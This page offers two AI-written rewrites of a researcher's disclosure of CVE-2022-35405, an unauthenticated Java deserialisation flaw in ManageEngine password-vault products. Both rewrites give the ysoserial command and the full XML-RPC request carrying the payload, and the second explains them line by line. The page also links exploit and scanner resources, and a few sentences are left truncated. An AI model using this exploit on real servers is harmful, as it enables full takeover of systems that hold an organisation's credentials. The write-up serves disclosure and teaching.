Skip to content
RCE Write-up Advanced

CVE-2022-35405 Manage engines RCE (Password Manager Pro, PAM360 and Access Manager Plus)

The ManageEngine products expose an XML-RPC endpoint that deserialises Java objects, allowing an unauthenticated attacker to execute arbitrary code. This is due to a vulnerable Apache OFBiz component (CVE-2020-9496) and can lead to full system compromise.

Vinicius Pereira Follow

Published on bigous.me

“This remote code execution vulnerability could allow remote attackers to execute arbitrary code on affected installations of Password Manager Pro, PAM360 and Access Manager Plus. Authentication is not required to exploit this vulnerability in Password Manager Pro and PAM360 products.”

Vinicius Pereira (@big0x75), on bigous.me

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

Password Manager Pro, PAM360 and Access Manager Plus are ManageEngine products. The vulnerability described here is CVE-2022-35405, a remote code execution issue that, in the words of the advisory quoted in the report, "could allow remote attackers to execute arbitrary code on affected installations of Password Manager Pro, PAM360 and Access Manager Plus. Authentication is not required to exploit this vulnerability in Password Manager Pro and PAM360 products."

The affected versions are:

Product Name Affected Version(s)
PAM360 5.5 (5500) and below
Password Manager Pro 12.1 (12100) and below
Access Manager Plus 4.3 (4302) and below

The root of the problem is a vulnerable version of Apache OFBiz (CVE-2020-9496) that exposes an XML-RPC endpoint at /webtools/control/xmlrpc. In the ManageEngine products this endpoint is reachable at /xmlrpc. That endpoint deserialises Java objects: as part of processing, any serialised arguments for the remote invocation are deserialised. If the classpath contains classes that can be used as gadgets to achieve remote code execution, an attacker can run arbitrary system commands.

From the original on bigous.me

The vulnerability was first found in Password Manager Pro. After the report and the disclosure of the security fixes, it was identified that the vulnerability also existed in PAM360 and Access Manager Plus installations.

Setup

The write-up does not describe any account, role or special configuration needed on the target. The advisory quoted in the report states that authentication is not required in Password Manager Pro and PAM360.

On the tooling side, the payload is generated with ysoserial. The important constraint is that the ysoserial library versions must match the server's org.apache.commons.beanutils version. If they do not match, the tool fails with an error along these lines:

Text
Failed to read result object: org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

The report points to this article for bypassing that mismatch: find the exact server library version by serialVersionUID and change the pom.xml of ysoserial accordingly.

Finding it

The researcher traced the exposed /xmlrpc endpoint back to the known Apache OFBiz deserialisation issue CVE-2020-9496. The endpoint accepts XML-RPC calls whose arguments can carry serialised Java objects, and those objects are deserialised server-side. That behaviour is what makes the endpoint interesting: with a suitable gadget on the classpath, deserialisation turns into command execution. The report links to vulhub and this write-up for more on exploiting CVE-2020-9496.

Exploitation

Step 1: generate the serialised payload

Use ysoserial with the CommonsBeanutils1 gadget chain, base64-encode the output and strip newlines so it can be embedded in the XML body:

Bash
java -jar ysoserial-version.jar CommonsBeanutils1 'command' | base64 | tr -d "\n"

CommonsBeanutils1 is the gadget chain, 'command' is the system command to run, and the base64 | tr -d "\n" pipeline produces a single-line base64 string suitable for the <serializable> element. If the run fails with the serialVersionUID mismatch shown above, align the ysoserial library version with the server's org.apache.commons.beanutils version first.

Untitled
Untitled From the original on bigous.me

Step 2: send the request

Replace [base64-payload] with the generated string and send the request:

HTML
POST /xmlrpc HTTP/1.1
Host: host-ip
Content-Type: application/xml
Content-Length: 4093

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

The request targets /xmlrpc with Content-Type: application/xml. The request targets /xmlrpc with Content-Type: application/xml and carries the base64-encoded serialised object in the <serializable> element. The server deserialises that value while processing the call, which triggers the gadget chain.

Untitled
Untitled From the original on bigous.me
Untitled
Untitled

Step 3: confirm execution

If the response contains InvocationTargetException: java.lang.reflect.InvocationTargetException, the exploit worked. That exception is triggered after the payload has executed.

Root cause

The exposed /xmlrpc endpoint deserialises serialised Java arguments supplied by the caller. Because the classpath contains gadget classes usable with chains such as CommonsBeanutils1, an unauthenticated caller can turn deserialisation into arbitrary command execution. The report attributes the underlying flaw to the vulnerable Apache OFBiz version (CVE-2020-9496) bundled into the ManageEngine products.

Impact

On Password Manager Pro, the RCE runs with nt authority/system permissions on the affected server. From there an attacker can enter internal networks, compromise data on the server, or crash or shut down the whole server and applications. The advisory quoted in the report states that authentication is not required for Password Manager Pro and PAM360. The same vulnerability was later found to affect PAM360 and Access Manager Plus installations as well.

Fix

The timeline lists the issue as fixed on 06/24/2022. The report links to the Password Manager Pro release notes for the fix. The report does not describe the code change itself; .

Variants to test

  1. Probe /xmlrpc on other ManageEngine installations and on Apache OFBiz deployments, where the equivalent path is /webtools/control/xmlrpc. A positive result is a response containing InvocationTargetException: java.lang.reflect.InvocationTargetException after sending a valid serialised payload.
  2. , after matching the library version to the server's org.apache.commons.beanutils version via serialVersionUID. A positive result is the same exception in the response.
  3. Use the researcher's exploit at https://github.com/viniciuspereiras/CVE-2022-35405/ or the Nuclei template at https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2022/CVE-2022-35405.yaml to check a target quickly.
  4. Review the public proof-of-concept material referenced in the report (https://xz.aliyun.com/t/11578 and https://packetstormsecurity.com/files/167918/Zoho-Password-Manager-Pro-XML-RPC-Java-Deserialisation.html) for alternative payloads and Metasploit modules.

Coordinated disclosure timeline

  • 06/21/2022: Report sent to vendor.
  • 06/21/2022: ManageEngine acknowledges the issue.
  • 06/24/2022: Issue fixed (release note).
  • 07/11/2022: CVE-2022-35405 assigned.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

Three software products made by a company called ManageEngine had a serious flaw. The products are Password Manager Pro, PAM360 and Access Manager Plus. Because a vault like that holds the keys to everything else, it is a very attractive target.

The flaw is catalogued under the name CVE-2022-35405. "CVE" stands for Common Vulnerabilities and Exposures: it is a public numbering system, like a library catalogue number, that gives every known security bug in software a unique identifier so people can talk about it unambiguously. The number itself does not say how serious the bug is; it is just a label.

The kind of bug is called remote code execution, usually shortened to RCE. In plain terms: someone sitting at another computer, connected over the network, can make the victim's server run commands of their choosing, as if they were typing at that server's own keyboard. The advisory quoted in the report describes it like this:

"This remote code execution vulnerability could allow remote attackers to execute arbitrary code on affected installations of Password Manager Pro, PAM360 and Access Manager Plus. Authentication is not required to exploit this vulnerability in Password Manager Pro and PAM360 products."

"Authentication is not required" is the part that makes this especially bad. Normally a server asks you to log in before it does anything useful, the same way a building asks for a badge at the door. Here, no badge was needed: anyone who could reach the server over the network could try the attack.

The versions that were affected are listed in the report as follows:

Product Name Affected Version(s)
PAM360 5.5 (5500) and below
Password Manager Pro 12.1 (12100) and below
Access Manager Plus 4.3 (4302) and below

"And below" means every older release too, not just the exact number shown. Version numbers are how software makers tell one release apart from another, a bit like edition numbers on a book.

From the original on bigous.me

The image above is the banner of the write-up, showing the title of the vulnerability and the researcher's handle.

Where the flaw comes from

The root of the problem is a piece of third-party software the products relied on: Apache OFBiz, a framework for building business applications. That framework had its own known bug, CVE-2020-9496, and the ManageEngine products inherited it by bundling a vulnerable version.

To understand the rest, you need three ideas.

  1. An endpoint is a specific address on a server that accepts a particular kind of request, like a service counter in a large building. The building has one street address, but inside there are many counters, each dealing with one thing. On a web server, the endpoint is the part of the URL after the domain, for example /xmlrpc.
  2. An API (Application Programming Interface) is a way for one program to ask another program to do something, without a human clicking anything. Think of a restaurant: you do not walk into the kitchen, you order from the menu and the kitchen does the work. The menu is the API. XML-RPC is an old, simple style of API where the request and the reply are written in XML, a text format that uses tags in angle brackets, like <name>value</name>, to label pieces of data.
  3. Deserialisation is the act of turning a stored or transmitted representation of an object back into a live object in the program's memory. A useful comparison is flat-pack furniture: serialisation is taking the assembled chair apart and putting the pieces and instructions in a box; deserialisation is opening the box and rebuilding the chair. The danger is that if an attacker controls what is in the box, they can slip in extra parts, and the person assembling it will follow the instructions without questioning them.

In Apache OFBiz, the XML-RPC endpoint lives at /webtools/control/xmlrpc. In the ManageEngine products, the same endpoint is reachable at the shorter path /xmlrpc. That endpoint accepts XML-RPC calls, and the arguments inside those calls can carry serialised Java objects. Java is the programming language these products are written in. When the server processes the call, it deserialises those arguments, meaning it rebuilds whatever objects the caller sent.

That is the heart of the bug: the server rebuilds objects supplied by an untrusted caller. If the server's classpath (the collection of code libraries available to the running program, like the set of tools in a workshop) happens to contain classes that can be abused, then the attacker can choose objects that, when rebuilt, cause the server to run system commands. Such abusable classes are called gadgets, and a sequence of them wired together is called a gadget chain. The report puts it this way: if the classpath contains any classes that can be used as gadgets to achieve remote code execution, an attacker will be able to run arbitrary system commands.

The vulnerability was first found in Password Manager Pro. After the report and the disclosure of the security fixes, it was identified that the vulnerability also existed in PAM360 and Access Manager Plus installations. "Disclosure" here means the moment the vendor makes the fix and the details public.

On the Password Manager Pro side, the report notes that the RCE has nt authority/system permissions on the affected server. That is the name of the highest-privilege built-in account on Windows: the equivalent of root on Linux. A program running as that account can do anything on the machine. From there, the report says, an attacker can enter internal networks, compromise data on the server, or crash or shut down the whole server and applications.

More information about CVE-2020-9496 exploitation can be found here or here.

Setup

The write-up does not describe any account, role or special configuration needed on the target. The advisory quoted in the report states that authentication is not required in Password Manager Pro and PAM360. In other words: if you can reach the server's address and port from your computer, you can try.

On the tooling side, the payload is generated with ysoserial. ysoserial is a well-known free tool that builds serialised Java objects designed to trigger gadget chains. You give it the name of a chain and a command, and it hands you back the boxed-up object.

The important constraint is that the ysoserial library versions must match the server's org.apache.commons.beanutils version. org.apache.commons.beanutils is one of the Java libraries involved in the gadget chain; it is a helper library for reading and writing object properties. If the versions do not match, the tool fails with an error along these lines:

Text
Failed to read result object: org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

What this message means: Java gives every class a fingerprint called a serialVersionUID, a long number that changes when the class's structure changes between versions. When Java rebuilds a serialised object, it compares the fingerprint stored in the data with the fingerprint of the class it has locally. If they differ, it refuses, because the object might not fit. The message says the incoming fingerprint is -2044202215314119608 while the local one is -3490850999041592962, so the two sides are running different versions of the same library.

The report points to this article for bypassing that mismatch: find the exact server library version by serialVersionUID and change the pom.xml of ysoserial accordingly. pom.xml is the configuration file that tells a Java build tool which library versions to download; editing it lets you rebuild ysoserial against the same version the server uses.

Finding it

The researcher traced the exposed /xmlrpc endpoint back to the known Apache OFBiz deserialisation issue CVE-2020-9496. The endpoint accepts XML-RPC calls whose arguments can carry serialised Java objects, and those objects are deserialised server-side. That behaviour is what makes the endpoint interesting: with a suitable gadget on the classpath, deserialisation turns into command execution. The report links to vulhub and this write-up for more on exploiting CVE-2020-9496.

Exploitation

Step 1: generate the serialised payload

Use ysoserial with the CommonsBeanutils1 gadget chain, base64-encode the output and strip newlines so it can be embedded in the XML body:

Bash
java -jar ysoserial-version.jar CommonsBeanutils1 'command' | base64 | tr -d "\n"

Line by line:

  • java -jar ysoserial-version.jar runs the ysoserial program. java is the Java runtime; -jar tells it to run a packaged program from a .jar file; ysoserial-version.jar is the file name of the tool, where version stands for whichever release you downloaded.
  • CommonsBeanutils1 is the name of the gadget chain to build. It is one specific recipe that uses the commons-beanutils library to reach command execution.
  • 'command' is the system command you want the server to run. The single quotes keep the shell from interpreting it; you replace the word command with the actual command.
  • | is a pipe: it takes the output of the program on the left and feeds it as input to the program on the right. It is like connecting the drain of one machine to the intake of the next.
  • base64 converts raw binary bytes into plain text characters from a fixed alphabet. This is needed because the payload will travel inside an XML document, and XML cannot safely carry arbitrary binary. Base64 is the standard way to wrap binary in text, the same idea as writing a phone number in words so it survives a system that only accepts letters.
  • tr -d "\n" deletes newline characters. Base64 output is normally wrapped across several lines, but the payload must sit on a single line inside the XML element, so the newlines are removed.

The result is one long line of text that you will paste into the request in the next step. If the run fails with the serialVersionUID mismatch shown above, align the ysoserial library version with the server's org.apache.commons.beanutils version first.

Untitled
Untitled From the original on bigous.me

Step 2: send the request

Replace [base64-payload] with the generated string and send the request:

HTML
POST /xmlrpc HTTP/1.1
Host: host-ip
Content-Type: application/xml
Content-Length: 4093

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

Line by line:

  • POST /xmlrpc HTTP/1.1 is the first line of an HTTP request. HTTP is the language browsers and servers use to talk. POST means "I am sending data to you", as opposed to GET, which means "give me a page". /xmlrpc is the endpoint being called. HTTP/1.1 is the version of the protocol.
  • Host: host-ip tells the server which name it was reached under. host-ip is a placeholder for the target's address.
  • Content-Type: application/xml announces that the body is XML, so the server knows how to read it.
  • Content-Length: 4093 states how many bytes the body contains. The server uses it to know when the body ends.
  • The blank line after the headers separates the headers from the body. Everything after it is the XML document.
  • <?xml version="1.0"?> is the standard opening declaration of an XML document.
  • <methodCall> opens the XML-RPC envelope: this is a request to call a method, meaning a function on the server.
  • <methodName>ProjectDiscovery</methodName> names the method to call.
  • <params> and <param> wrap the arguments being passed to the method.
  • <value> and <struct> describe the shape of the argument: a structure, which is a set of named fields, like a form with labelled boxes.
  • <member> starts one field of that structure.
  • <name>test</name> is the label of the field.
  • <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable> is the important part. serializable is a special element defined by the Apache XML-RPC extensions, and xmlns declares which namespace that element belongs to, so the server recognises it. Inside it goes the base64 text from step 1. This is the box of flat-pack furniture being handed over.
  • The closing tags </member>, </struct>, </value>, </param>, </params> and </methodCall> simply close what was opened, in the reverse order.

The request targets /xmlrpc with Content-Type: application/xml. The method name is arbitrary (ProjectDiscovery here); what matters is the <serializable> element in the Apache XML-RPC extensions namespace, which carries the base64-encoded serialised object. The server deserialises that value while processing the call, which triggers the gadget chain.

Untitled
Untitled From the original on bigous.me
Untitled
Untitled

Step 3: confirm execution

If the response contains InvocationTargetException: java.lang.reflect.InvocationTargetException, the exploit worked. That exception is triggered after the payload has executed. An exception is Java's way of reporting that something went wrong while running code; here the "something wrong" is the side effect of the gadget chain firing, so the error is actually the sign of success.

Root cause

The exposed /xmlrpc endpoint deserialises serialised Java arguments supplied by the caller. Because the classpath contains gadget classes usable with chains such as CommonsBeanutils1, an unauthenticated caller can turn deserialisation into arbitrary command execution. The report attributes the underlying flaw to the vulnerable Apache OFBiz version (CVE-2020-9496) bundled into the ManageEngine products.

Impact

On Password Manager Pro, the RCE runs with nt authority/system permissions on the affected server. From there an attacker can enter internal networks, compromise data on the server, or crash or shut down the whole server and applications. The advisory quoted in the report states that authentication is not required for Password Manager Pro and PAM360. The same vulnerability was later found to affect PAM360 and Access Manager Plus installations as well.

Fix

The timeline lists the issue as fixed on 06/24/2022. The report links to the Password Manager Pro release notes for the fix. The report does not describe the code change itself; .

Variants to test

  1. Probe /xmlrpc on other ManageEngine installations and on Apache OFBiz deployments, where the equivalent path is /webtools/control/xmlrpc. A positive result is a response containing InvocationTargetException: java.lang.reflect.InvocationTargetException after sending a valid serialised payload.
  2. , after matching the library version to the server's org.apache.commons.beanutils version via serialVersionUID. A positive result is the same exception in the response.
  3. Use the researcher's exploit at https://github.com/viniciuspereiras/CVE-2022-35405/ or the Nuclei template at https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2022/CVE-2022-35405.yaml to check a target quickly. Nuclei is a free scanner that runs small checks, called templates, against a target and reports what it finds.
  4. Review the public proof-of-concept material referenced in the report (https://xz.aliyun.com/t/11578 and https://packetstormsecurity.com/files/167918/Zoho-Password-Manager-Pro-XML-RPC-Java-Deserialisation.html) for alternative payloads and Metasploit modules. A proof of concept is a small demonstration that a bug is real; Metasploit is a widely used framework that packages exploits into ready-to-run modules.

Coordinated disclosure timeline

  • 06/21/2022: Report sent to vendor.
  • 06/21/2022: ManageEngine acknowledges the issue.
  • 06/24/2022: Issue fixed (release note).
  • 07/11/2022: CVE-2022-35405 assigned.

"Coordinated disclosure" is the usual arrangement in which a researcher tells the vendor privately first, gives them time to fix the problem, and only then publishes the details. The dates above show that pattern: report and acknowledgement on the same day, a fix three days later, and the CVE identifier a few weeks after that.

Glossary

  • API: a defined way for one program to ask another to do something, like a menu you order from.
  • Apache OFBiz: an open-source framework for building business applications, which the affected products bundled.
  • Authentication: proving who you are before a server lets you do something, usually by logging in.
  • Base64: a way of writing binary data using only plain text characters, so it can travel inside text formats such as XML.
  • Classpath: the set of code libraries a running Java program can use, like the tools available in a workshop.
  • Command execution: making a computer run a command as if someone had typed it at that machine.
  • Content-Type: an HTTP header that says what format the body of a request or response is in.
  • CVE: Common Vulnerabilities and Exposures, a public catalogue that gives each known security bug a unique identifier.
  • Deserialisation: rebuilding a live object in memory from a stored or transmitted representation of it, like assembling flat-pack furniture from a box.
  • Endpoint: a specific address on a server that accepts a particular kind of request, such as /xmlrpc.
  • Exception: Java's way of reporting that something went wrong while code was running.
  • Gadget: an existing class in a program that can be abused, when combined with others, to do something the program's authors did not intend.
  • Gadget chain: a sequence of gadgets wired together so that deserialising one object leads to a chosen effect, such as running a command.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • Impact: the practical harm a vulnerability can cause if exploited.
  • Java: the programming language the affected products and the ysoserial tool are written in.
  • Metasploit: a framework that packages exploits into ready-to-run modules.
  • Nuclei: a free scanner that runs small checks, called templates, against a target.
  • Payload: the data an attacker sends to trigger a vulnerability; here, the serialised object.
  • pom.xml: the configuration file that tells a Java build tool which library versions to use.
  • Proof of concept (PoC): a small demonstration that a vulnerability is real and exploitable.
  • Remote code execution (RCE): a vulnerability that lets someone on another machine make the target run commands of their choosing.
  • Serialisation: turning a live object in memory into a stored or transmitted form, like taking furniture apart and boxing it.
  • serialVersionUID: a long number Java assigns to a class as a version fingerprint, used to check that serialised data matches the local class.
  • XML: a text format that labels data with tags in angle brackets, such as <name>value</name>.
  • XML-RPC: an old, simple style of API where requests and replies are written in XML.
  • ysoserial: a free tool that builds serialised Java objects designed to trigger gadget chains.
  • nt authority/system: the highest-privilege built-in account on Windows, roughly equivalent to root on Linux.

More from Zoho

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.